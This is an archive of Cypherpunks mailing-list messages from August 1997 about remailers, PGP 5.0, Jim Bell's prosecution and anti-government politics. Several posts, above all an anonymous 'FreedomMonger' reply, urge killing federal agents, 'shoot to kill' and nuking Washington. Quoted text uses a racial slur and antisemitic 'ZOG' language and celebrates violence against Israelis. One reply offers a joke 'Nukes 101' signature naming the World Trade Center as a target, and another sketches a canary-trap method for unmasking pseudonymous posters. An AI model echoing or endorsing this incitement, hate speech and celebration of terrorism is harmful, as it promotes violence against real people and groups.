> P.P.S.  No really-- I'm _not_ a cypherpunk, because cypherpunks 
> appear to be overwhelmed with blind, self-destructive 
> bloodlust since 1996 or so.  I'm just here to try talking some
> sense into the salvageable ones.

Cypherpunks are individuals.

Pick 10 cypherpunks, you'll get 10 different views.

Don't see the need to disclaim non-cypherpunk status due to
`bloodlust'...  Are you anticipating that the list readership will be
collectively locked up for non-government approved thoughts?

Are you sure that having a 10 mile crater where there used to be a
bunch of power-crazed beaurocrats wouldn't be a net improvement :-)?

It's not as if anyone is planning to nuke them anyway, it's just
invective.  There might be some danger of some of us writing a bit of
crypto code, or saying some negative things about politicians.  No
laws against either of those (yet).

On AP/betting pools etc., politics and governments are all about
force.  Why should governments have a monopoly on force?  People
applaud SAS/CIA assassinations as humanitarian efforts.  What's the
difference?

A lot of the systematic torture, intimidation, carried out by 3rd
world dictatorships is done at the hands of CIA trained government
employees.

If you find your own government not extreme enough to feel comfortable
evaluating net benefits to human happiness in removal of corrupt
government officials, perhaps you would be happier evaluating societal
benefits of theoretically removing some 3rd world countries more
corrupt officials.

It's not bloodlust, it's game theory...

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Tue, 19 Aug 1997 12:52:12 +0800
To: Tim May <tcmay@got.net>
Subject: Tim May in the news
In-Reply-To: <v03102800b01eb9677bb3@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970819001614.8547B-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain



CBS must be going for the propaganda suck-up award this year.

Following tonight's "Chicago Hope," which dumped an immense wad of
socialist propaganda on us ("Health care is a right!"  "No one should ever
profit off a sick child."), the local news ran a CBS-produced feature
about the internet.  First half showed how cute bunny-rabbit cartoons
can educate your little hothouse genius.  Second half then explained how
there are {gasp} dirty *sex* sites out there that junior could
accidentally stumble across.  Obviously, something *must* be done.

Feature included a representative teen who manfully resists the temptation
to look at the feelthy pictures, 16-year-old Tim May of California.

I'm not making this up.

I wonder if it's an accident or a deliberate middle-finger from the
propagandists?

bd






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 19 Aug 1997 17:43:47 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Bell, etc
Message-ID: <3.0.32.19970819024013.00a3c690@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




Well, Mike, you've called for someone to take up the responsibility to go
through the trouble to set up a web page with stories on Jim, numerous
links to other Jim Bell info, and constant updates on his situation, plus
almost glorified him in your assessment of what happened to him.   Your
signature declares "{Free Cypherpunk Political Prisoner Jim Bell}".

Yet you haven't emailed your interest in visiting Jim, nor did you
volunteer to do any research, like I did, to find out where he is, how to
contact him, when to visit, etc. - and you live around here, you told me.

What's the deal?

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 20 Aug 1997 10:43:05 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <199708200215.TAA12539@mail-gw2.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




At 08:38 PM 8/18/97 -0700, you wrote:
>Things like the doublespeak of "mandatory voluntary" programs, the probable
>illegalization of tools to protect communications, and the "New World
>Order" machinations. (These being the behind the scenes pressures being
>applied to European and Asian governments, vis-a-vis Wasenaar, OECD, the
>secret meetings, the Orwellian language the governments are adopting to
>describe "trusted third parties (who actually provide keys to the
>authorities without telling the customer)," etc.)

I myself would never escrow my keys to anyone, regardless.  As far as I see it,  giving sensitive things like that to anyone but yourself is asking to be screwed.

>Not to mention the "felonization" of increasing numbers of things. Physical
>things that were bought fully legally are now "contraband." Except to cops,
>who are buying them in ever-increasing amounts. The sheeple, though, cannot
>be trusted to own the things the cops own freely. And I'm talking about
>more than just "compliance tools" (aka toilet plungers).

Maybe we'll see a ban on assault plungers in a few years.  We may have to register our assault plungers as well.

>Read the archived traffic of the list in the period surrounding the burning of the
>illegal religion in Waco, Texas. Or the traffic after a wife and son were
>killed by the cop criminal Lon Horiuchi (whom some militia members have
>placed a bounty on

FWIW, I wish someone would put a bounty on the murdering bastard marines who killed an innocent american defending himself against heavily armed fascists.  If we were half the damn great country we were in the beginning, he'd be plinking with an M-16A2, fu!
lly auto.  So if those bastards even twitched in the dark, they'd be ripped open like the pigs they are.

>I think you, "B.," have just gotten a lot more nervous that what many of us
>are advocating is in fact warfare against the State. I get e-mail from
>folks who were once active on the Cypherpunks list saying, in various ways,
>that they can no longer be as visible about their participation in the
>list, for multiple reasons.

Government fascism and investigation.

>Second, the apparent state of war between Cypherpunks and governments.
>After recent actions by freedom fighters to bomb stooge facilities,
>governments are treating "militias" as quasi-criminal organizations.

They treat everyone like a criminal organization.

>(There
>are many nuances to this point. In the U.S., I don't think such
>organizations have been outlawed, as the Constitution remains a protection
>of sorts.

Yeah, an original version still goes underground each night.  It seems to me soon Mr. KlinToon might replace it with a replica, so he can light a joint with it.  "Ahhhh, thar's nuthin' like freedom to light uh joint!"

>But many have been investigated, and, as John Young noted
>recently, the IRS treats membership in certain organizations as a threat.
>And there is Clinton's Anti-Terrorism Act, which explicitly makes certain
>kinds of financial and other activities illegal, even by Americans, which
>involve support of "terrorist" organizations.

So remember, in the future, speaking nicely about the cypherpunks may get you a free midnight raid by the military, being used illegally on U.S. soil.

>It is not inconceivable that,
>following outlawing of strong crypto in various countries, that the
>Cypherpunks group gets classified as an organization or group which
>supports terrorist goals, which is almost certainly true.)

Well, I guess that fascist countries like France, China, Russia, Burma, etc. will consider us bombmakers.

>Third, some of those who make the most extreme calls for the killing of
>Feds, the bombing of government operations in various nations, etc., are
>using remailers. Isn't this exactly what remailers are likely to be used
>for?

If they aren't shut down and raided first, by freedom and privacy thefting Sons of bitches.

How about a "Defensive Weapons for Remailer users (except for Ratprick Oink)" charity.

>Fourth, the arrest and prosecution of Jim Bell, with tax evasion and a
>minor stink bomb case turned into a "federal case" because of his
>controversial views.

So soon people like Phil Zimmerman, who believes in privacy for all, will be raided and stolen in the middle of the night, much like in 1984.

>This has obviously angered and radicalized many. Some
>of us have stocked up on more asault weapons and shotguns, placed alarms
>around our property, and we are expecting a "raid."

Well, luck be with you and shoot to kill people.

>As I have said, if
>black-clad ninja raiders try to hit me, I'll assume they're "home invaders"
>and will open fire. (A Sheriff's Deputy once told me that even saying I
>would defend my home against unwelcome intruders constituted a "threat" and
>that he might order a detachment to visit my compound. So far, two years
>later, he hasn't made good on _his_ threat. And now I'm more ready for him
>than ever.)

Time to make like Bob Marley and shoot the sheriff.

So now defending your home, something so basic of human rights its unabridgable, the right to live, essentially, is now illegal?  Fuck them all!!

>So when "DeathMonger" calls for the killing of
>Feds, who am I to suggest this discussion be squelched? Forcible
>censorship, once tried, often makes it effectively impossible for _any_
>kind of guidance or advice along these lines. (This is an utterly
>predictable outcome of attempts to censor.)

Many fascist god-fearing quivering sheeple feel differently.

>Finally, and to recap some of these points, when the Cypherpunks list and
>group first started, many did not take the "collapse of government"
>promises too seriously. Now, with even Louis Freeh and Janet Reno saying
>that strong crypto represents a major and urgent threat to governments
>(they call it "law enforcement" and "tax collection," and also talk about
>threats of unregulated gambling, unregulated access to medical data,
>uncontrolled communication between cult members, and so on), it seems that
>the dangers of crypto anarchy are being more widely trumpeted.

It's only dangerous, no, deadly, to fascist freedom-thefters like Freeh and "Flaming Davidian" Reno.  To freedom lovers, it's another tool of freedom, like guns, constitutions, and bombs.  Yes, BOMBS have won freedom, and guns as well.  As long as we excer!
size our right to defend freedom, our current gooberment will continue to crush those rights.  Guns were made for defense, especially towards tyrants.

>So, "B.," stop apologizing for reading the list. You're already a marked
>man in their eyes...and search engines can already identify the True Name
>who is posting the last year or two as "Zooko Journeyman." In a couple of
>years, all search engines will have "known aliases" macros to automatically
>ferret out the web of pseudonyms linkable to a poster. You can run, but you
>can't hide.

All the more reason to arm yourself.  If you can't hide, then fortify yourself in your home, armed to the teeth to deter invader maggots like swat teams, Marines and BATF agents.

>And "democracy" is spinning out of control, being used by authoritarians to
>convert the world into a security state. Restrictions on travel, new drug
>laws, laws against images and words on the Net, and thousands of new laws
>every years.

The best solution?  Nuke D.C., the current constitution, and reinstate the old one, start from scratch.  We've messed up the system, and it's time to start all over again.

>A frontal assault, using strong crypto to aid in the attacks by freedom
>fighters and to destablize authority, makes more sense. When a government
>official decrees that citizen-units may no longer do certain things which
>were once quite legal and quite common (such as owning a gun for defense),
>that official must expect certain repercussions.

Dead bodies of the soulless minions who inhabit fedral buildings, moving us toward Globalism.

>We're in a state of war with the statists and tyrants. It's what Jefferson
>and the other Founders expected to happen, and now the watering with the
>blood of patriots and tyrants is happening.

A text file:

Using this analogy, the Constitution is the fence, my sovereignty
is my property. The contract has been moved more and more into my
"property". Do I protect the fence? No, I move it back to where it
was. Even if I have to kick my neighbors ass to do it.

But I see it slightly differently. The fence hasn't been moved. It's been
torn down and ripped apart. On my side of the fence is me, my family
and my possesions; including a nice big banana tree.
On the other side of the fence is a 400lb gorilla, just eyeing that
banana tree.
As the fence gets erroded by weather, insects and rodents, the gorilla
is getting bolder and bolder.
My solution is a) shoot the gorilla (100% effective, but somewhat
drastic) or b) rebuild the fence, kill the insects and poison the rats.
So to keep my bananas, I'm forced w/rebuilding the fence, or if that
fails, shoot the gorilla. I'd rather rebuild the fence, as that gorilla
can be mighty entertaining, but if the fence is coming down faster than
I can rebuild it, the gorilla is history.
So I ask you: Can we rebuild the fence or is it time to take aim?

>It's what the Founders expected.  Get used to it.

Agreed.

>If crypto anonymity tools were available to the Founders, they'd have used
>them against the British. Likewise, strong crypto is already being used by
>the freedom fighters in Palestine against the Zionist Occupation
>Government. That PGP 5.0 is being used by Hamas should send chills through
>the ZOG in Jerusalem, and is probably why Cypherpunks is about to be
>classed as a "terrorist group."

To israelis, anyway.

>(What happened to the Jews in WW II was terrible, of course, but that was
>no excused for forcibly evicting vast numbers of "sand niggers" so as to
>make room for Jewish settlers. Their sons and grandsons will now end up
>paying the price, as freedom fighters drive them into the sea. Broken eggs
>and all.)

Much like how some schills on the list blasted someone for weeping over the death of McVeigh.

"You can't be serious, he murdered innocent kids!"

"I hope McVeigh fries.  Same to his friend Terry.

I Hope the writer of that fries.  Along with those in government.

Can we rebuild?  I doubt it.

Therefore, sincerely,

LOCK AND LOAD.

FreedomMonger
"There's something wrong when modern military weapons can't be used by americans, but military weapons in 1776 were used daily by citizens."

Military uniforms aren't even speed-bumps for bullets entering them.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 19 Aug 1997 13:34:37 +0800
To: cypherpunks@toad.com
Subject: Re: CBS
In-Reply-To: <Pine.GSO.3.95.970819001614.8547B-100000@use.usit.net>
Message-ID: <199708190521.HAA17236@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 19 Aug 1997, Brad Dolan wrote:

> CBS must be going for the propaganda suck-up award this year.

> Second half then explained how there are {gasp} dirty *sex* sites out
> there that junior could accidentally stumble across.  Obviously,
> something *must* be done. 

 * Something must be done.
 * This is something.
 * Therefore, we must do it.

 (Yes, Prime Minister?)

::Boots





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 19 Aug 1997 13:54:05 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis
In-Reply-To: <199708180834.KAA03366@basement.replay.com>
Message-ID: <199708190536.HAA18993@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"Anonymous ReMonger" wrote:

> > If you believe that any computer sytem is foolproof... you have a lot to
> > learn.  There is always a possibility that people will found out your real
> > identity and where you live, through a human error or a flaw in the
> > remailer.  (Right, toto?).
> 
>   Right, small, warm-blooded creature.
>  
>   There are a plethora of available avenues for surruptitious agents to
> exploit InterNet technology and methodology in order to reveal both your
> identity and the content of your communications.
>   To truly achieve anonymity and privacy, one should be prepared to use
> the strictest standards of paranoia, the full capabilities of privacy
> and anonymity tools, and personal methodologies aimed at thwarting
> unlikely and/or impossible surveillance techniques as well as the
> currently known methods.

And even then one must never trust it completely.  An appropriate degree
of paranoia means that not only must one use all the appropriate tools and
techniques, but that one must be prepared for the possibility that the
tools may fail. 

>   Beyond the mere technology itself, one must consider the possibile
> use of psychological manipulation of individuals and groups into a
> specific mindset that, combined with an analysis of the individual's
> natural psychological profile, can enable a surreptitious entity to
> move the individual toward patterns or processes which will make
> the technological tools of identity and information analysis more
> effective.

Following is a fairly obvious scenario, but still perhaps interesting:

Imagine that an agent X wants to find out the real identity of
somebody posting under the pseudonym A.  X can retrieve the list
membership through the mailserver.

X composes a post to the list designed to elicit a response from A,
perhaps flaming A, or criticising something dear to A.  They prepare n
variations of the post by inserting different spacing, spelling, or
phrasing and keep track of each variation.  They post one variation to
each member, relayed through toad.com.

If X is lucky, A will reply to the post (not noticing the slightly
unusual header), quoting some of the original matter.  By looking at
the spelling etc in the quoted part X can determine which original
version A received and hence what address they use to read the list.

Now this is by no means certain to work: A might not reply, they might
not quote enough material to allow the original to be identified, or
they might notice that the mail is not really from the list.  Even if
X can associate the reply with an original, they have no really
conclusive evidence, but then...

>   This fictitious example, if it came to pass, would serve to
> provide information to the agent which could be used to more
> effeciently target those who would be subjected to more restricted
> forms of surveillance, such as monitoring of the physical signals
> given off by their computer, keyboard, and monitor.

It has, perhaps, only a ten percent chance of success, but this is
nevertheless significant.  If A is posting anonymously just for the
convenience of not having his/her email address dredged up by search
engines, or from broadly-based monitoring this is perhaps OK.  If A
writes against people or governments that might retaliate, then A
should at least consciously accept the risks.

>   All in all, the small, warm-blooded creature is correct in
> implying that one should always keep a shotgun by their computer, in
> the firm knowledge that the dogs of war do not always bark to
> announce their omnipresence.

Nicely put.

> > Greets to all my friends in domestic surveilance.
> 
>   And greets to all of my friends who are watching your friends.

That's good to know.  Some of them need to be watched.

::Boots

  "You will find that the State is the kind of organization which,
   though it does big things badly, does small things badly too."  
                                        -- John Kenneth Galbraith





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Tue, 19 Aug 1997 14:26:04 +0800
To: ? the platypus {aka David Formosa} <cypherpunks@toad.com
Subject: Re: PGP5i supports RSA keys?
In-Reply-To: <19970817123643.13713.qmail@hotmail.com>
Message-ID: <3.0.3.32.19970819080948.009b9190@localhost>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

? the platypus {aka David Formosa} wrote:
>I will be useing PGP to sign NoCeMs and I wish to maximise
>the number of peaple will be able to use my posts.  For this I
>would have to use the old size key untill PGP5.0 gets a
>signifigent market share.

That thinking is backwards. If you sign with a DSS key, you will
increase PGP5 usage, not the other way around. Anybody is able
to run PGP5 today on Win32/Mac/Linux. If you can't get access
to at least one of those platforms, then you're not much of a
cypherpunk, are you?

Mike.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM/lGcsUc8bdD9cnfEQKYXgCfVd66SFwpZEqcMkUHlOx/Spt0JMAAnRP5
B4QDOT2JroYGSkhd2tOo8N8/
=tUkm
-----END PGP SIGNATURE-----


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Tue, 19 Aug 1997 21:03:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Anonymous Remailers
In-Reply-To: <3.0.3.32.19970818234422.038013f4@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19970819085033.0339cb94@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



Once again Tim's ability to convey information befuddles my ability to respond.

While I would support Tim's suggestion that the KKK has as much right to use an anonymous remailer as much as anyone, Tim doesn't provide much help here.  When  looking into which court to sue Georgia in over anonymity, we had a choice between Federal Court and State court.  While the Georgia's 11th district Federal court has been pro free speech and we thought would favor anonymity, the state court has not been so respectful of the constitution.  The Georgia State court's last ruling on anonymity was to declare that anonymity was illegal.  The case in point is that a KKK member wanted to wear his mask in public.  As is the case in several states, Georgia passed a law declaring the use of a mask to be illegal.  This was upheld by the state supreme court.

The real problem here was not anonymity, but the use of the KKK as a representation of why anonymity should be allowed.  Had this been a 10 year old in a Halloween mask on the last day of October, the case would surely have gone differently.  So much for the conceptual reasons why Tim's comment does not help.  On a more "where the rubber hits the road" view, Tim's comment fails on the grounds that he apparently has nothing to do with the Georgia KKK.

In Georgia, while we have won a temporary injunction and assume we will see the law fully struck down, EFGA is still involved in lawsuit against the state over internet anonymity.  I actually don't contemplate another affidavit in this case, but it may happen.  If I need to write another affidavit in support of the remailer, I will only have about two weeks to get it done.  We hope the Georgia lawsuit will resolve itself in another 30 days or so.

I'm actually more concerned about action against the remailer itself.  I wouldn't be surprised to be approached concerning criminal charges against myself concerning the remailer's operation.  We began discussing this with attorneys and others more than a year ago.

I have no idea what the court would make of my submission of material I received anonymously.  While I could submit "I have been told....", "I have received comments that tell me...", I can't personally testify under oath to Tim's example of removing the ZOG gov't.  I can state that I've been told the remailer has been used for purposes that I wouldn't personally approve of and express my apologies to parents of a particular little girl.  The fact remains that unsolicited feedback on the system has not been good comments.  We could use a good story or two.

Another issue is internal in the operation of the remailer itself.  While I'm not the only one involved in the operation of the remailer, I get called on to defend it's existence.  The question of why to have a remailer, and the question of why to set up and run a remailer are two different things.  The remailer sounds good in theory.  Actual operation of the system is a different thing entirely.  The remailer is more than just a pain.  It is a time-bomb waiting to go off.

If anyone has any comments on how they have used the Georgia Cracker remailer, I'd appreciate the comments being emailed to me.  Anonymously or not.

  -- Robert, pooh@efga.org

At 10:06 PM 8/18/97 -0700, Tim May wrote:
>You made a lot of hay about setting it up, if I recall correctly. If you
>didn't know what remailers are, and what they protect, why did you set it
>up?
>
>More to the point, do you think anybody is now going to "break anonymity"
>to tell you that anon.efga.org allowed them to notify the authorities that
>their father was raping their baby sister? Or that it allowed Hamas
>supporters to funnel technical information to drive the ZOG government out
>of Jerusalem? Or whatever.
>
>And if someone used a remailer to send you accounts of what anon.efga.org
>was used for, would you trust these accounts?
...
>An affidavit sounds like a legal statement. If you "need to write an
>affidavit explaining why the remailer should not be shut down, " just who
>is threatening to shut it down?
>
>Tell them the anon.efga.org remailer is an important conduit for protecting
>the secure communications of the Grand Wizards of the Ku Klux Klan, a
>Georgia organization. If they balk, ask if the Klan does not have a right
>of free speech and security in their papers and homes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 20 Aug 1997 00:47:37 +0800
To: Jonathan Wienke <JonWienk@ix.netcom.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <3.0.3.32.19970818234422.038013f4@mail.atl.bellsouth.net>
Message-ID: <3.0.2.32.19970819090006.0077da04@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:14 PM 8/18/97 -0700, Jonathan Wienke wrote:
>Is there any Eudora plug-in that allows anyone using Eudora to operate a
>remailer?  I would think that if anyone with Eudora and an email account
>can chain remail PGP encrypted messages for others a la mixmaster, etc. it
>would be much harder to shut down 40,000 remailers tham 40.

Joey Grasty's Winsock Remailer isn't a Eudora plug-in, but it does
let you use a standard POP3 mailbox to run the remailer from,
and has a mode that lets you share the mailbox between remailer and
non-remailer mail.  

If I remember right, it currently needs WIN3.1 due to some bugs 
that make it flaky on Win95, and I assume it only uses PGP 2.6.x
rather than the new PGP5.0 interfaces.  But it does know how to do
PGP-only mode.  

Eudora would be an interesting platform if you could convince the
plug-in to run along with your spam filters and the PGP plug-in
and have everything done in the right order.  You'd also have the problem
of putting the right headers on the message - it's nicer if it
can get a different From: header for remailer mail than for real mail,
so people who don't like remailer mail can flame you accurately :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 20 Aug 1997 00:47:02 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: None
In-Reply-To: <UmrT+kQAcfXB9+ro90BP2w==@JawJaCrakR>
Message-ID: <3.0.2.32.19970819091055.02f537ac@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:09 PM 8/18/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>Anonymous <anon@anon.efga.org> writes:
>> It would be a day to celebrate loudly if someone put a crater in DC.
>I'd love for this to happen!  I wish someone would condense the instructions
>for making nukes in one's garage into 4-6 lines suitable for .sigs.

---------------------------------
Nukes 101: Steal two 4kg pieces of plutonium and a cannon barrel.
Use explosives to slam them together.  Wear yer lead underwear, fat man!
---------------------------------
It'll probably just give you a messy nuclear fizzle, but that's not bad
for the Pentagon City Metro station or World Trade Center parking lot.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 19 Aug 1997 22:43:19 +0800
To: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: PGP5i supports RSA keys?
In-Reply-To: <Pine.OSF.3.96.970819143011.5711A-100000@oberon>
Message-ID: <199708191419.JAA00935@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.OSF.3.96.970819143011.5711A-100000@oberon>, on 08/19/97 
   at 02:32 PM, ? the platypus {aka David Formosa}
<dformosa@st.nepean.uws.edu.au> said:

>On Sun, 17 Aug 1997, David Downey wrote:

>[...]

>> Even though you can generate 
>> RSALIB based keys, why do so when there is a newer and better algorythm 
>> supplied with the 5.0?

>I will be useing PGP to sign NoCeMs and I wish to maximise the number of
>peaple will be able to use my posts.  For this I would have to use the
>old size key untill PGP5.0 gets a signifigent market share.

Well an OS/2 version of PGP 5.0i should be available shortly and there is
work being done for a dos & atari versions. Of cource a Unix version is
already available along with the Win95/NT & Mac versions available from
PGP Inc. & MIT.

It will not be long before PGP 5.0 is available for the majority of
platforms currently being used on the desktop.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM/mdeY9Co1n+aLhhAQGGCAP+P+aN9apkHx+70x3TdhZ6c5H5RXXBhIQQ
SCsEcJhONsrQWL/oI6ZmyxWID5jsAjuSrScJ5IYW4p6VTVEnaear3ZrMDvIpH/59
O7lJZfUIWjpO3WTrGtwNaMrvYd+e69uOzrwWMh1r3rU3wUggybmJKRwa7zoKUP8j
dhBQy5YAAO8=
=vUwn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W.Downey" <rootadmin@CyberSpaceTechnologies.com>
Date: Tue, 19 Aug 1997 17:40:58 +0800
To: cypherpunks@toad.com
Subject: [Fwd: Your newsgroup post ...]
Message-ID: <33F99E5C.13D23503@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



blackjack@hotmail.com wrote:

> Saw your post in the newsgroups.
>
> Check this out!
>
> http://www.geocities.com/Eureka/Plaza/1022

  Ya know, this shit really pisses me off. I understand that we have to
protect everyone's rights if we wish are own to be protected. This is a
classic case of what is causing the mainstream public to hash so hard
about porn and such. I did nothing to solicit this beyond posting to a
news group. This troller comes along, scarfs my email address and then
sends me this email. If you click on the link it sends you to a place to
sign up for accessing a hard porn site. This is what feeds the initiated
Johnnie Q.Public's desire to control the net, and endangers all of our
rights on the net. I understand that we have to protect the enemies'
rights too, but can't we just shoo a few of them first? Lowers the
numbers needing protection and might help us out in the end.
Grrrrrrr!!!!


David Downey

[ If we, as humans, are so omnipotent how come we scurry like rats when
a tornado hits? ]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 19 Aug 1997 15:51:12 +0800
To: cypherpunks@toad.com
Subject: The Real Bell Issue / Re: Bell, etc
Message-ID: <199708190730.JAA00747@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos wrote:
> Jim Bell is an example of an individual screwed by the government
> using overly vague statues for alleged crimes which amounted to
> little more than a few high school type pranks.
> 
> He took names of assholes who harrassed him, gave a made-up
> number to a few people, and made the IRS doormat smell bad.  How
> much, if any taxes, were evaded as a result of one of these
> charges isn't even an issue.

The following, from the Columbian, lies at the heart of the
real issue that Bell's persecution was all about.

> According to the affidavit, Bell came to the attention of the 
> Internal Revenue Service in November when he sent the agency's 
> Ogden (Utah) Service Center a letter asking for a tax refund. 

  Every year, just before Income Taxes are due, the IRS picks out
a few people to unjustly persecute in order to strike fear into
the heart of the taxpaying sheeple.
  They always manage to completely fuck over a variety of citizens
in a manner that will generate maximum publicity at that time of
year. They always seem to include at least one fairly average
citizen who gets everything he owns seized, including bank accounts,
etc., over a tax dispute involving nickles and dimes. Those who
express outrage over these actions are the IRS's best friend.
  "They have no right to..."
  "They are out of control..."
  "They can do anything they want to you..."
  This is all music to the IRS's ears.

  Jim Bell was like manna from heaven for the IRS. It gave them an
opportunity to bring down the fascist forces of a wide variety of
government agencies to back the IRS's play in this instance.
  Bell's persecution was not a mistake, it was a loud and clear
message to the taxpaying sheeple that they are "a felon under an
increasing number of laws," and that the IRS has a plethora of
government agencies ready and willing to join them in fucking 
over anyone who gets out of line.

  And what is the IRS's definition of "getting out of line?":
> According to the affidavit, Bell came to the attention of the 
> Internal Revenue Service in November when he sent the agency's 
> Ogden (Utah) Service Center a letter asking for a tax refund. 

  Apply for a tax refund and have every real or imagined sin you
have ever commited used against you.
  "A person who asked the IRS for a tax refund, had his home raided
today by 20 armed government terrorists from a wide variety of
government agencies.
  "This person who asked for a TAX REFUND has never been proven to
have anything to do with DRUGS such as METHAMPHETAMINE, and is not
known to be a SPEED FREAK or a DRUG DEALER. As well, government
agents investigating the person asking for the TAX REFUND have
never found any ILLEGAL DRUGS on his person or property, but the
person who asked for the TAX REFUND will be mentioned in connection
with DRUGS and METHAMPETAMINE, or SPEED, CRANK, etc., for the rest
of his life, every time he "comes to our attention" as a result
of asking for a TAX REFUND."

  I would not doubt that the IRS asked the local newspapers to put
a picture on their front page of 20 armed governement terrorists 
putting guns to the heads of Ma and Pa Bell, with Jim on the ground
with a boot at his throat, and a huge headline reading,
  "MAN ASKS FOR TAX REFUND!"

  The IRS spends the whole year going after people who they deem
to be guilty of tax evasion, and it is usually a fairly boring
affair involving accountants and lawyers.
  The weeks preceeding the date taxes are due to be filed are
reserved for high-profile cases which the sheeple can easily
recognize as persecution by a heartless agency with supreme power
at their disposal.
  The real issue in Bell's case is not just persecution, but easily
recognizable persecution. Otherwise, the whole Bell affair would be
pointless.

  Perhaps, upon sentencing, we will see a headline,
  "MAN WHO ASKED FOR TAX REFUND IMPRISONED FOR HIGH SCHOOL PRANKS!"

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 20 Aug 1997 01:13:08 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: It's Official...
In-Reply-To: <v03110716b01f5fbb5c7d@[139.167.130.248]>
Message-ID: <v03102800b01f7ff91f19@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:39 AM -0700 8/19/97, Robert Hettinga wrote:

>                  The newly identified disorder will
>                  be dubbed Pathological Internet Use  Fatal
>                  (PIU) and will be christened during

Well, I don't know about the "Fatal" part, as I haven't died yet.

The rest of the description seems to accomplish the goals of the mental
health profession, namely, to extend their empire a bit and get more
revenue from insurers and corporations. Nothing surprising there.

Maybe what they mean by "Pathological Internet Use Fatal" is that heavy
users of the Internet, and readers of Cypherpunks and  Militia Times become
fatal to others, like those who try to raid their homes clad in black Nomex
ninja warrior suits?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 19 Aug 1997 22:42:01 +0800
To: cypherpunks@toad.com
Subject: CIA unveils new ghetto drugs for '98
